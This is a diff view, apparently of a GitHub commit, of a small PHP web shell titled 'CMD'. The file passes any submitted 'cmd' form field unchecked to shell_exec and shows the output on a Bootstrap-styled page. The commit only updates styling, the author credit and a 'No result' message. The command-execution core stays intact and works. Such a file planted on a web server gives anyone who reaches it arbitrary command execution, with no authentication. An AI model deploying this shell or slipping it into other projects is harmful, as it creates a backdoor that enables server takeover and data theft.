|
1 | 1 | <?php
|
2 |
| - |
3 | 2 | if (!empty($_POST['cmd'])) {
|
4 | 3 | $cmd = shell_exec($_POST['cmd']);
|
5 | 4 | }
|
6 |
| - |
7 | 5 | ?>
|
8 | 6 | <!DOCTYPE html>
|
9 | 7 | <html>
|
10 |
| - |
11 |
| -<!-- By ArtyumX (https://github.com/ArtyumX) --> |
12 |
| - |
| 8 | +<!-- By Artyum (https://github.com/artyuum) --> |
13 | 9 | <head>
|
14 | 10 |
|
15 | 11 | <meta charset="utf-8">
|
16 | 12 |
|
17 | 13 | <meta http-equiv="X-UA-Compatible" content="IE=edge">
|
18 | 14 |
|
19 | 15 | <meta name="viewport" content="width=device-width, initial-scale=1">
|
20 |
| - |
21 |
| - <link rel="stylesheet" type="text/css" href="//bootswatch.com/flatly/bootstrap.css"> |
| 16 | + |
| 17 | + <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css"> |
22 | 18 |
|
23 | 19 | <title> CMD </title>
|
24 |
| - |
| 20 | + |
25 | 21 | <style>
|
| 22 | + h2 { |
| 23 | + color: rgba(0, 0, 0, .75); |
| 24 | + } |
| 25 | + |
| 26 | + pre { |
| 27 | + padding: 15px; |
| 28 | + -webkit-border-radius: 5px; |
| 29 | + -moz-border-radius: 5px; |
| 30 | + border-radius: 5px; |
| 31 | + background-color: #ECF0F1; |
| 32 | + } |
| 33 | + |
26 | 34 | .container {
|
27 | 35 | width: 850px;
|
28 | 36 | }
|
|
32 | 40 |
|
33 | 41 | <body>
|
34 | 42 |
|
35 |
| -<div class="container"> |
36 |
| - |
37 |
| - <div class="page-header"> |
38 |
| - <h2> Execute a command </h2> |
39 |
| - </div> |
| 43 | + <div class="container"> |
40 | 44 |
|
41 |
| - <form action="" method="POST"> |
42 |
| - <div class="form-group"> |
43 |
| - <label for="cmd">Command</label> |
44 |
| - <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> |
| 45 | + <div class="pb-2 mt-4 mb-2"> |
| 46 | + <h2> Execute a command </h2> |
45 | 47 | </div>
|
46 |
| - <button type="submit" class="btn btn-default">Execute</button> |
47 |
| - </form> |
| 48 | + |
| 49 | + <form action="" method="POST"> |
| 50 | + <div class="form-group"> |
| 51 | + <label for="cmd">Command</label> |
| 52 | + <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required> |
| 53 | + </div> |
| 54 | + <button type="submit" class="btn btn-primary">Execute</button> |
| 55 | + </form> |
48 | 56 |
|
49 | 57 | <?php if ($cmd): ?>
|
50 |
| - <div class="page-header"> |
51 |
| - <h2> Output </h2> |
52 |
| - </div> |
53 |
| - <pre> |
| 58 | + <div class="pb-2 mt-4 mb-2"> |
| 59 | + <h2> Output </h2> |
| 60 | + </div> |
| 61 | + <pre> |
54 | 62 | <?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
|
55 |
| - </pre> |
| 63 | + </pre> |
| 64 | +<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?> |
| 65 | + <div class="pb-2 mt-4 mb-2"> |
| 66 | + <h2> Output </h2> |
| 67 | + </div> |
| 68 | + <pre><small>No result.</small></pre> |
56 | 69 | <?php endif; ?>
|
57 | 70 |
|
58 |
| -</div> |
| 71 | + </div> |
59 | 72 |
|
60 | 73 | </body>
|
61 | 74 |
|
|
0 commit comments